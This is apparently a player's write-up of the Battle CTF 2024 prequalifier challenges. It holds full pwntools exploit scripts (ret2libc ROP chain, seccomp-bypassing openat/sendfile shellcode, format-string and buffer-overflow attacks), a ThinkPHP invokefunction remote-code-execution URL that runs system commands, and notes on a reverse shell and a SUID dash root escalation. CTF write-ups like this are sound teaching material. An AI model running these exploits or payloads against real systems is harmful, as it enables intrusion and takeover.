Playing Hacks and Stuffs!
Hii 0x1337 here, this writeup contains the challenges I was able to solve in the Battle CTF 2024 prequalifiers event!
Hope you have fun reading.
Challenges:
Rules
Going over to the discord channel and checking the #announcement page gives the flag
Flag: battleCTF{HereWeGo}
Invite Code
This challenge was actually released prior to the beginning of the ctf and you can find it on the discord here
After decoding from hex it gives this
UWNYZ1c5dzR3UWQvZWIudXR1b3kvLzpzcHR0aA=https://bugpwn.com/invite.ini
There are two things of interest there, one is a base64 encoded value and the other is the invite link path?
Spoiler alert:- The base64 value decodes to a Youtube link which rickrolls you :)
On checking the invite link i got this
H4sIAKvQ/2YC/02TW08bQQyFn+FXHCKk9iXN3C9SEjS7MytVlIsAqUKKVC1JgJRk0yahTf997VC1fUBMduzj48+eh3eTfTud7OezyV4I+rO795N90MOz/WqJH/PNdrHuRj35QfQw76br2aJ7GvVed4/90MN213azdrnu5qNet+7hbHw8PMlX9d39dcHrlpJxe397Vy5AF2+/V+1+1AuyNz4+Onyhm6Oj4XL9tOi6djUfP7S73XI+3T0OB/8+csi3drv9ud7MxqeqPZXqdD59Xcjl3eri8/nNxY35OjPm5fHq5XoflvP2k9id18/d5WJmlpfp4XkzuH++vt5/Hw7+yrCmmW6+UFObX992Y2FhGygHbxArhIzsISJMRKngJKKBzRAePkNqpIQS4C3qDJcgC3yEVMiHc6BbD9WwZiY1j2IgSFNxLp2DQimQAqlG8tAJFQUbVArJIFloh5KgakgHIRAiUkEVoBREhcZCBtQJQkMr1HR2cBVsQBAoNbyA93CF020N67iia5Ayp9cWkW6ptciapnDpKBAtqgomo2T2HCNiYGMkmA2K4r6oC0r3jkuzKwcpkSp4DeeRBDMhq7pGoHYcQ1OSg73kWjlyjCakZFvAVn+gkckouaiMcBriwIHCBBkjA4Kdk7ImZWKu0VAi9VtQEw3SSYwxVMjNARcdyADhItsNGsO068JVSLPRUILh1wpWcYr1PBobWZBKGIdMIpZjuMeaN4FGT1LUOw8u83Dpig5Bw0rmT1I68HxV4nQq4Wgomb9XtD+aDTMKd+jIss/KMzoteMcItW+4HZqg9LwANDuqSGBpKOTNCd4cc+iXBlFlNA2bTBLaM2eaIyEljFGhoXEHdss2AjNnPsShGg7+33t6hwN+iPRCD/+348lm0g1P+n28vcX6jramuflIy6YE4ez3DxG/AVECNBs5BAAA
Decoding it gave this
The decoded value is a compressed archive (gzip)
I extracted it
The content is an XML file
<?xml version="1.0" encoding="utf-8" standalone="no" ?>
<!DOCTYPE users SYSTEM >
<users max="81">
<user >
<loginname>battlectf</loginname>
<password>$2a$12$ecui1lTmMWKRMR4jd44kfOkPx8leaL0tKChnNid4lNAbhr/YhPPxq</password>
<4cr_encrypt>05 5F 26 74 9B 8D D7 09 49 EB 61 94 5D 07 7D 13 AA E8 75 CD 6A 1E 79 12 DA 1E 8A E7 2F 5F DB 87 E4 0D D2 13 E4 82 EE 10 AC A7 3A BF 54 B2 A4 A5 36 EA 2C 16 00 89 AE B8 22 0B F5 18 CA 03 32 C8 C6 6B 58 80 EC 70 77 6E 16 5C 56 82 6F AD 0B C5 97 69 E9 B8 4E 54 90 95 BB 4D ED 87 99 98 BF EC D4 E2 8A 0D C5 76 03 89 A6 11 AB 73 67 A0 75 AE 3C 84 B6 5D 21 03 71 B8 D9 A0 3B 62 C0 5B 12 DA 5C 91 87 19 63 02 A4 3B 04 9F E0 AD 75 3E 35 C3 FB 1B 5E CB F0 5A A7 8B DF 00 8B DC 88 24 EF F4 EE CE 5C 3B F3 20 10 C2 52 DF 57 D2 59 5E 3E 46 D0 85 10 89 AC 09 07 EF C5 EE 1D 2F 89 1D 83 51 C6 52 38 13 2A D0 20 66 6D 52 B1 93 1B 21 06 9F E5 00 B7 AB 30 EB 98 7F CB 80 17 36 16 EF 73 BB 59 60 E4 4B F0 8A BD FF 85 A1 37 5D 4E C0 91 92 F2 68 C5 20 68 A0 A7 84 EB</4cr_encrypt>
</user>
</users>\r\n<!-- battleCTF AFRICA 2024 -->\r\n
From the xml content we can see there are 3 fields:
The last one looks oddly like rc4_encrypt
so we can assume that we need to rc4 decrypt that hex value, but that requires the key
Since there’s also a password hash we can assume that the rc4 key is the password plaintext value
From this I used JTR to crack the hash and that took time but yea it cracks!
The password is nohara
At this point I just looked for a rc4 decrypt implementation in python and got this
So we just need to call the ARC4
class with the password and use the decrypt
function
Doing that I got the decoded message
from arc4 import ARC4
password = "nohara".encode()
arc4 = ARC4(password)
ct = bytes.fromhex("05 5F 26 74 9B 8D D7 09 49 EB 61 94 5D 07 7D 13 AA E8 75 CD 6A 1E 79 12 DA 1E 8A E7 2F 5F DB 87 E4 0D D2 13 E4 82 EE 10 AC A7 3A BF 54 B2 A4 A5 36 EA 2C 16 00 89 AE B8 22 0B F5 18 CA 03 32 C8 C6 6B 58 80 EC 70 77 6E 16 5C 56 82 6F AD 0B C5 97 69 E9 B8 4E 54 90 95 BB 4D ED 87 99 98 BF EC D4 E2 8A 0D C5 76 03 89 A6 11 AB 73 67 A0 75 AE 3C 84 B6 5D 21 03 71 B8 D9 A0 3B 62 C0 5B 12 DA 5C 91 87 19 63 02 A4 3B 04 9F E0 AD 75 3E 35 C3 FB 1B 5E CB F0 5A A7 8B DF 00 8B DC 88 24 EF F4 EE CE 5C 3B F3 20 10 C2 52 DF 57 D2 59 5E 3E 46 D0 85 10 89 AC 09 07 EF C5 EE 1D 2F 89 1D 83 51 C6 52 38 13 2A D0 20 66 6D 52 B1 93 1B 21 06 9F E5 00 B7 AB 30 EB 98 7F CB 80 17 36 16 EF 73 BB 59 60 E4 4B F0 8A BD FF 85 A1 37 5D 4E C0 91 92 F2 68 C5 20 68 A0 A7 84 EB")
print(arc4.decrypt(ct).decode())
And we have the flag!
Flag: battleCTF{pwn2live_d7c51d9effacfe021fa0246e031c63e9116d8366875555771349d96c2cf0a60b}
Do[ro x2]
This is the solution in pdf format: solution
Poj
We are given an executable, and checking the file type and protections enabled on it shows this
So this is a 64 bits binary which is dynamically linked and stripped
From the result of checksec
we can see:
I ran it to get an overview of what it does but i got this
I didn’t know why i was getting this error so instead i just went ahead to decompile it
Here’s the main function
__int64 __fastcall main(int a1, char **a2, char **a3)
{
write(1, "Africa battle CTF 2024\n", 0x17uLL);
printf("Write() address : %p\n", &write);
return sub_115C();
}
We can see it would give us a libc leak for the write function then calls function sub_115C
Here’s the decompilation
ssize_t sub_115C()
{
_BYTE buf[64]; // [rsp+0h] [rbp-40h] BYREF
return read(0, buf, 0x100uLL);
}
We can see an obvious buffer overflow because it’s reading at most 0x100
bytes into a buffer that can only hold up 64
bytes of data
This means the offset from the buffer to the saved return address is 64 + 8 = 72
From this point to get the libc base we just subtract the libc leak of write with the offset of write@libc
And with the libc base we can just go ahead with ROP
Since i couldnt debug remotely i just went ahead exploiting it on the remote instance
Here’s my solve script
#!/usr/bin/env python3
# -*- coding: utf-8 -*-
from pwn import *
from warnings import filterwarnings
# Set up pwntools for the correct architecture
exe = context.binary = ELF('poj')
libc = ELF("./libc.so.6")
context.terminal = ['xfce4-terminal', '--title=GDB-Pwn', '--zoom=0', '--geometry=128x50+1100+0', '-e']
filterwarnings("ignore")
context.log_level = 'debug'
def start(argv=[], *a, **kw):
if args.GDB:
return gdb.debug([exe.path] + argv, gdbscript=gdbscript, *a, **kw)
elif args.REMOTE:
return remote(sys.argv[1], sys.argv[2], *a, **kw)
else:
return process([exe.path] + argv, *a, **kw)
gdbscript = '''
init-pwndbg
continue
'''.format(**locals())
#===========================================================
# EXPLOIT GOES HERE
#===========================================================
def init():
global io
io = start()
def solve():
io.recvuntil("address :")
libc.address = int(io.recvline().strip(), 16) - libc.sym["write"]
pop_rdi = libc.address + 0x0000000000028215 # pop rdi ; ret
ret = libc.address + 0x000000000002668c # ret
sh = next(libc.search(b'/bin/sh\x00'))
system = libc.sym["system"]
offset = 64 + 8
payload = flat({
offset: [
pop_rdi,
sh,
ret,
system
]
})
io.sendline(payload)
io.interactive()
def main():
init()
solve()
if __name__ == '__main__':
main()
Running it works!
Flag: battleCTF{Libc_J0P_b4s1c_000_bc8a769d91ae062911c32829608e7d547a3f54bd18c7a7c2f5cc52bd}
Sweet Game
We are given an executable, and checking the file type and protections enabled on it shows this
So this is a 64 bits binary which is dynamically linked and stripped
From the result of checksec
we can see:
Ok next thing I did was to run it so as to get a general overview of what it does
We see it prints out some banner thingy, receives our name and expects a secret code
With this I threw the binary into IDA and here’s the main function
__int64 __fastcall main(int a1, char **a2, char **a3)
{
__int64 v4; // [rsp+8h] [rbp-28h] BYREF
char buf[10]; // [rsp+16h] [rbp-1Ah] BYREF
unsigned int seed[3]; // [rsp+20h] [rbp-10h]
int i; // [rsp+2Ch] [rbp-4h]
*(_QWORD *)seed = time(0LL);
sub_1209(0LL, a2);
printf("\nEnter your name to access the system: ");
fflush(stdout);
read(0, buf, 0x50uLL);
printf("\nWelcome Alien %s\nEnter the secret code to proceed: ", buf);
fflush(stdout);
__isoc99_scanf("%s", &v4);
srand(seed[0]);
if ( v4 == 0x69747563737975LL )
{
puts("\nCorrect Secret code..");
puts("Welcome in the game space.\n");
for ( i = 0; i <= 69; ++i )
{
if ( !(unsigned int)sub_126A() )
{
puts("Bye bye!");
return 0LL;
}
}
sub_150D();
}
else
{
puts("\nWrong Secret ..!");
}
return 0LL;
}
I won’t explain in details what it does but the basic idea is this:
From this there are two obvious vulnerability:
I actually ignored it for now to know what would happen if we pass the comparism
So once we pass the check we get into this:
puts("\nCorrect Secret code..");
puts("Welcome in the game space.\n");
for ( i = 0; i <= 69; ++i )
{
if ( !(unsigned int)sub_126A() )
{
puts("Bye bye!");
return 0LL;
}
}
sub_150D();
}
Basically it would loop 70 times and if after calling sub_126A()
it doesn’t return 1
it would print the error message then returns
Here’s function sub_126A
decompilation
__int64 sub_126A()
{
_QWORD v1[21]; // [rsp+0h] [rbp-B0h]
int v2; // [rsp+A8h] [rbp-8h] BYREF
int v3; // [rsp+ACh] [rbp-4h]
v1[0] = "1: Reach for the stars; you might just catch one!";
v1[1] = "2: Ignite the cosmic flame within you!";
v1[2] = "3: Celestial traveler, let's have some interstellar fun!";
v1[3] = "4: Ready to embark on an astronomical journey?";
v1[4] = "5: Buckle up, it's time for a cosmic adventure!";
v1[5] = "6: You're about to enter a universe of possibilities.";
v1[6] = "7: Get ready for an amazing celestial experience!";
v1[7] = "8: Welcome, let's launch this cosmic party!";
v1[8] = "9: Exciting times await in the vast cosmos, welcome aboard!";
v1[9] = "10: Your journey through the galaxies begins now!";
v1[10] = "11: Step into the cosmos of possibilities.";
v1[11] = "12: Join the cosmic fun and enjoy the interstellar ride!";
v1[12] = "13: The journey to the stars begins with you!";
v1[13] = "14: Prepare for a fantastic astral experience.";
v1[14] = "15: Welcome to the universe of endless possibilities.";
v1[15] = "16: The cosmic stage is yours, shine like a supernova!";
v1[16] = "17: Time to shine bright like distant stars and have some fun!";
v1[17] = "18: Embrace the astronomical adventure that lies ahead.";
v1[18] = "19: You're in for a celestial treat!";
v1[19] = "20: The cosmic fun starts now!";
printf("\nGuess the next alien quote number.\nChoose a number from 1 to 20:");
fflush(stdout);
__isoc99_scanf("%d", &v2);
if ( v2 > 0 && v2 <= 20 )
{
v3 = (rand() + 8) % 20 + 1;
printf("\nQuote | %s\n", (const char *)v1[v3]);
if ( v3 == v2 )
{
puts("\nYou win.");
return 1LL;
}
else
{
puts("\nYou lost.");
return 0LL;
}
}
else
{
puts("Invalid value!");
return 0LL;
}
}
Basically we just need to guess the right choice, and that’s computed using a value returned from calling rand()
Ok good, remember that it seeds with the current time this means if we know the seed then we can also generate any value that’s going to be returned from calling rand()
Recall from the first read that we can cause an overflow so we would make use of the overflow to do a variable overwrite
Basically we would overwrite the seed with a known value like 0 and then any future call to rand()
we would also be able to predict it
The offset between the first buffer and the seed variable is:
(rbp-0x1A) - (rbp-0x10) = 0xa
So this means if we fill up the name buffer with 10 bytes the next byte is going to be the seed variable on the stack
Here’s confirmation
The next thing is to guess the right secret code
If we decode that value we’d get this: itucsyu
But we need to reverse the string due to endianess
With that we’d get to the next check
Now we have right seed we can easily predict the value to rand()
and guess the right calculated value
Ok the next thing after that is that it would call function sub_150D
__int64 sub_150D()
{
void *s; // [rsp+8h] [rbp-8h]
s = mmap(0LL, 0x1000uLL, 7, 33, -1, 0LL);
memset(s, 0, 0x1000uLL);
fflush(stdout);
printf("Give us your feedbacks for this game: ");
fflush(stdout);
read(0, s, 0x25DuLL);
sub_1457();
return (s)(0LL);
}
Seems this is our goal because it would create a memory region with rwx
permission then sets the first 0x1000
bytes to null and reads into the memory our input which it later on executes the value stored there
So we would need to put shellcode in there so that it’s going to be executed
But before that it calls function sub_1457
, let us take a look at it
__int64 sub_1457()
{
__int64 v1; // [rsp+8h] [rbp-8h]
v1 = seccomp_init(0x7FFF0000LL);
if ( !v1 )
exit(0);
seccomp_rule_add(v1, 0LL, 2LL, 0LL);
seccomp_rule_add(v1, 0LL, 59LL, 0LL);
seccomp_rule_add(v1, 0LL, 322LL, 0LL);
seccomp_rule_add(v1, 0LL, 1LL, 0LL);
return seccomp_load(v1);
}
Basically this initializes a seccomp rule that blocks syscall with sys_number as:
So we are not allowed to use those blacklisted syscalls
Since we can’t spawn a shell i decided to do orw shellcode
Basically i’ll open the flag, read the content and write the content
Notice how it blocks open & write
That isn’t a problem as there are other alternative to that
In my case i went with:
This is my final exploit
#!/usr/bin/env python3
# -*- coding: utf-8 -*-
from pwn import *
from ctypes import CDLL
from warnings import filterwarnings
# Set up pwntools for the correct architecture
exe = context.binary = ELF('sweet_game')
context.terminal = ['xfce4-terminal', '--title=GDB-Pwn', '--zoom=0', '--geometry=128x50+1100+0', '-e']
filterwarnings("ignore")
context.log_level = 'info'
def start(argv=[], *a, **kw):
if args.GDB:
return gdb.debug([exe.path] + argv, gdbscript=gdbscript, *a, **kw)
elif args.REMOTE:
return remote(sys.argv[1], sys.argv[2], *a, **kw)
else:
return process([exe.path] + argv, *a, **kw)
gdbscript = '''
init-pwndbg
breakrva 0x1660
breakrva 0x15B2
continue
'''.format(**locals())
#===========================================================
# EXPLOIT GOES HERE
#===========================================================
def init():
global io
io = start()
def solve():
libc = CDLL("/lib/x86_64-linux-gnu/libc.so.6")
code = "uyscuti"
io.sendlineafter(b"system:", b"A"*0xa + p32(0x0))
io.sendlineafter(b"proceed:", code.encode())
libc.srand(0)
for i in range(70):
valid = (libc.rand() + 8) % 20 + 1
io.sendlineafter(b"1 to 20:", str(valid).encode())
shellcode = shellcraft.linux.openat(-100, "flag.txt")
shellcode += shellcraft.linux.sendfile(1, 'rax', 0, 500)
io.sendline(asm(shellcode))
io.interactive()
def main():
init()
solve()
if __name__ == '__main__':
main()
Running it works!
It also works on the remote instance
During the time I solved it i didn’t overwrite the seed variable because it uses the current time, so i just ran it multiple times till the point that my current time matches that on remote, the other process remains the same!
Flag: battleCTF{TimeRand_hijack2Secc0mpF1!t3rBypass_3965657b94b0a5129710dc275f6d98e427be1aa1b83b448445e0329cf3f7e4e1}
Universe
We are given an executable, and checking the file type and protections enabled on it shows this
So this is a 64 bits binary which is dynamically linked and stripped
From the result of checksec
we can see:
As usual i ran it to get an overview of what it does
Seems to do nothing other than receive our input?
In any case i’ll decompile it to figure that out
Here’s the main function
__int64 __fastcall main(int a1, char **a2, char **a3)
{
FILE *v3; // rdi
void (__fastcall *v5)(FILE *); // [rsp+10h] [rbp-10h]
int v6; // [rsp+1Ch] [rbp-4h]
v6 = 0;
v5 = mmap(0LL, 0x1000uLL, 7, 34, -1, 0LL);
puts("Africa battleCTF 2024");
puts(
"By its very subject, cosmology flirts with metaphysics. Because how can we study an object from which we cannot extr"
"act ourselves? Einstein had this audacity and the Universe once again became an object of science. Without losing it"
"s philosophical dimension.\n"
"What do you think of the universe?");
v3 = stdout;
fflush(stdout);
sub_1208(v3);
while ( v6 != 4096 )
{
v3 = 0LL;
v6 += read(0, v5 + v6, 4096 - v6);
}
v5(v3);
return 0LL;
}
Basically it creates a memory region with rwx
permission then it calls function sub_1208
and while the length of that memory isn’t up to 4096
bytes it would keep on reading in the data from stdin and after that it executes the value stored into that memory region
Here’s the decompilation for sub_1208
__int64 sub_1208()
{
qword_4078 = seccomp_init(2147418112LL);
if ( !qword_4078 )
{
seccomp_reset(0LL, 2147418112LL);
_exit(-1);
}
seccomp_arch_add(qword_4078, 3221225534LL);
sub_11C9(2LL);
sub_11C9(56LL);
sub_11C9(57LL);
sub_11C9(58LL);
sub_11C9(59LL);
sub_11C9(85LL);
sub_11C9(322LL);
return seccomp_load(qword_4078);
}
It does some seccomp initialization, this time around i made use of seccomp-dump
to know the rules applied
line CODE JT JF K
=================================
0000: 0x20 0x00 0x00 0x00000004 A = arch
0001: 0x15 0x00 0x0b 0xc000003e if (A != ARCH_X86_64) goto 0013
0002: 0x20 0x00 0x00 0x00000000 A = sys_number
0003: 0x35 0x00 0x01 0x40000000 if (A < 0x40000000) goto 0005
0004: 0x15 0x00 0x08 0xffffffff if (A != 0xffffffff) goto 0013
0005: 0x15 0x07 0x00 0x00000002 if (A == open) goto 0013
0006: 0x15 0x06 0x00 0x00000038 if (A == clone) goto 0013
0007: 0x15 0x05 0x00 0x00000039 if (A == fork) goto 0013
0008: 0x15 0x04 0x00 0x0000003a if (A == vfork) goto 0013
0009: 0x15 0x03 0x00 0x0000003b if (A == execve) goto 0013
0010: 0x15 0x02 0x00 0x00000055 if (A == creat) goto 0013
0011: 0x15 0x01 0x00 0x00000142 if (A == execveat) goto 0013
0012: 0x06 0x00 0x00 0x7fff0000 return ALLOW
0013: 0x06 0x00 0x00 0x00000000 return KILL
We see that it would allow any syscall aside the ones blacklisted
I solve this one using yet orw shellcode
Here’s my solve script
#!/usr/bin/env python3
# -*- coding: utf-8 -*-
from pwn import *
from warnings import filterwarnings
# Set up pwntools for the correct architecture
exe = context.binary = ELF('universe')
context.terminal = ['xfce4-terminal', '--title=GDB-Pwn', '--zoom=0', '--geometry=128x50+1100+0', '-e']
filterwarnings("ignore")
context.log_level = 'debug'
def start(argv=[], *a, **kw):
if args.GDB:
return gdb.debug([exe.path] + argv, gdbscript=gdbscript, *a, **kw)
elif args.REMOTE:
return remote(sys.argv[1], sys.argv[2], *a, **kw)
else:
return process([exe.path] + argv, *a, **kw)
gdbscript = '''
init-pwndbg
breakrva 0x136E
continue
'''.format(**locals())
#===========================================================
# EXPLOIT GOES HERE
#===========================================================
def init():
global io
io = start()
def solve():
shellcode = asm(shellcraft.linux.openat(-1, "/flag.txt"))
shellcode += asm(shellcraft.linux.sendfile(1, 'rax', 0, 500))
shellcode = shellcode.ljust(4096, asm("nop"))
io.sendline(shellcode)
io.interactive()
def main():
init()
solve()
if __name__ == '__main__':
main()
Running it works!
Flag: battleCTF{Are_W3_4l0ne_!n_7he_univ3rs3?_0e2899c65e58d028b0f553c80e5d413eeefef7af987fd4181e834ee6}
NTcrack
Doing the usual checks we get this
From the result of checksec
we can see:
Running it to get an overview of what it does shows this
We see it just receives our input, prints it out and repeats
I decompiled the binary and here’s the main function
int __fastcall main(int argc, const char **argv, const char **envp)
{
char s[512]; // [rsp+0h] [rbp-200h] BYREF
printf("\nEntrez le hash NTLM : ");
fgets(s, 512, _bss_start);
s[strcspn(s, "\n")] = 0;
if ( s[0] )
{
printf(s);
return curl_ntlm_pw(s);
}
else
{
puts("No hash was provided. Exiting the program.");
return 1;
}
}
We can see it receives our input and then if it’s successful it prints it out and then call the curl_ntlm_pw
function passing our input as the first parameter
The bug here is obvious and it’s a format string bug
The curl_ntlm_pw()
function after it’s done returns back to main
int __fastcall curl_ntlm_pw(const char *a1)
{
__int64 v2; // rax
int v3; // edi
const char **v4; // rdx
char v5[1008]; // [rsp+10h] [rbp-470h] BYREF
char s[104]; // [rsp+400h] [rbp-80h] BYREF
unsigned int v7; // [rsp+468h] [rbp-18h]
int v8; // [rsp+46Ch] [rbp-14h]
int v9; // [rsp+470h] [rbp-10h]
int v10; // [rsp+474h] [rbp-Ch]
__int64 v11; // [rsp+478h] [rbp-8h]
memset(v5, 0, 0x3E8uLL);
v11 = curl_easy_init();
if ( v11 )
{
snprintf(s, 0x64uLL, "https://ntlm.pw/%s", a1);
v10 = 10002;
curl_easy_setopt(v11, 10002LL, s);
v9 = 20011;
curl_easy_setopt(v11, 20011LL, write_callback);
v8 = 10001;
curl_easy_setopt(v11, 10001LL, v5);
v7 = curl_easy_perform(v11);
if ( v7 )
{
v2 = curl_easy_strerror(v7);
fprintf(stderr, aErreurLorsDeLa, v2);
curl_easy_cleanup(v11);
}
v5[strcspn(v5, "\n")] = 0;
printf(" : %s\n", v5);
v3 = v11;
curl_easy_cleanup(v11);
return main(v3, (const char **)v5, v4);
}
else
{
fwrite("Erreur lors de l'initialisation de Curl\n", 1uLL, 0x28uLL, stderr);
return 1;
}
}
So this means we have an infinite call to printf
Now how do we solve this?
The first thing once would think of is a GOT overwrite, but that isn’t possible in this scenerio because we have Full RELRO and this mitigation makes the global offset table read-only
So what now?
Well we can make main
return by not giving it any value and from the current stack frame of the main function it’s return address is stored on the stack
So if we overwrite that return address on the stack to any function we hence have control flow over the program
Our goal is to:
I don’t want to go through my debugging procedure cause it’s stressful but that’s the idea
One thing to note is that my local solve differ from remote and this is due to the addresses on the stack we leak
They are at various offsets
To fix that i made use of the docker file provided to build a container which is the same as the remote instance and debugged to get right offset
This is my local solve script
And this is my remote solve
Seems the remote is down so let us try it on the docker i built based on the Dockerfile provided
Also note that instead of using a ropchain i just used a one gadget as that’s easier and the only constraint i had to fix was setting rbx to 0
Flag:
0xterminal
As usual i checked the file type & protections enabled
So this time we are dealing with a x86 executable and the only protection enabled is NX
Running it i got this
Looks like a command line interface tool
I went ahead to decompile the binary and here’s the main function
int real_main()
{
char *v1; // [esp+0h] [ebp-18h]
const char *v2; // [esp+4h] [ebp-14h]
const char *s1; // [esp+8h] [ebp-10h]
char *v4; // [esp+Ch] [ebp-Ch]
sub_804968C();
while ( 1 )
{
while ( 1 )
{
do
{
fflush(stdout);
printf("\x1B[0;32mCLI@RAVEN\x1B[0;37m# ");
fflush(stdout);
sub_8049648();
v4 = strchr(byte_804C060, 10);
if ( v4 )
*v4 = 0;
s1 = strtok(byte_804C060, " ");
}
while ( !s1 );
v2 = strtok(0, " ");
v1 = strtok(0, " ");
if ( strcmp(s1, "show") )
break;
if ( strcmp(v2, "all") || v1 )
{
if ( strcmp(v2, "up") || v1 )
{
if ( strcmp(v2, "down") || v1 )
{
if ( strcmp(v2, "logs") || v1 )
{
if ( strcmp(v2, "help") || v1 )
LABEL_26:
puts("Invalid command. Type 'show help' for available commands.");
else
sub_80495A0();
}
else
{
sub_80494E3();
}
}
else
{
sub_804939C();
}
}
else
{
sub_8049255();
}
}
else
{
sub_8049226();
}
}
if ( strcmp(s1, "clear") )
break;
sub_8049722();
}
if ( strcmp(s1, "exit") )
goto LABEL_26;
puts("Exiting...");
return 0;
}
Function sub_8049648
handles the command provided
char *sub_8049648()
{
char buf[54]; // [esp+Eh] [ebp-3Ah] BYREF
read(0, buf, 200);
return strcpy(byte_804C060, buf);
}
We can see there’s a buffer overflow here due to it reading in at most 200 bytes to the stack buffer that can only hold up 54 bytes
At this point i just left trying to figure our what the program does and went on with exploitation
First we need a libc leak and to do that I did a ret2libc attack
You can check here for more understanding i suppose
But the idea is that we’d first get a libc leak by doing:
Recall that the GOT points to the resolved function address in libc hence doing that would give us a libc leak for that function
And we weed to return back to main to do the second stage exploit which effectively does this:
One issue would be that the libc for your current host isn’t the same as the remote one thus it was needed to get the remote libc file
To do that i made use of this which basically would use the leak gotten to give possible values for the libc being used and this works because the last 3 nibbles for all libcs are always the same
I found mine to be libc6-i386_2.39-0ubuntu8.3_amd64.so
With that i could exploit the remote instance
The flag references ret2dlresolve hmmm
Definitely didn’t use that
In any case we have the flag
Flag: battleCTF{ret2CLI@dlresolve_a22c24101f31bb15ea7ac818364c980c3fd8ab0a9ed99f023a5c6910a30ee52d}
Hmmmm!..
For this challenge it was a CVE based on Think PHP
Here’s the payload used:
http://chall.bugpwn.com:8083/?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=id
From this i got a reverse shell
As i don’t own a vps i tunnelled my local host listener via ngrok
The privilege escalation was simple
It was an suid binary: /bin/dash
As /bin/sh
is a symlink to /bin/dash
this means we can drop a root shell via doing dash -p
The flag was located in /root
Flag: battleCTF{Small_B0$$_89ca16c29e5a5466af646f14f5fcde6d}
And this ends my writeup, hope you had fun reading (if you read all or not)
Thanks!
I played as user 0x1337
for the qualifiers event!
I’m bound to make mistake, if you find any feel free to DM and i’ll make changes, thank you.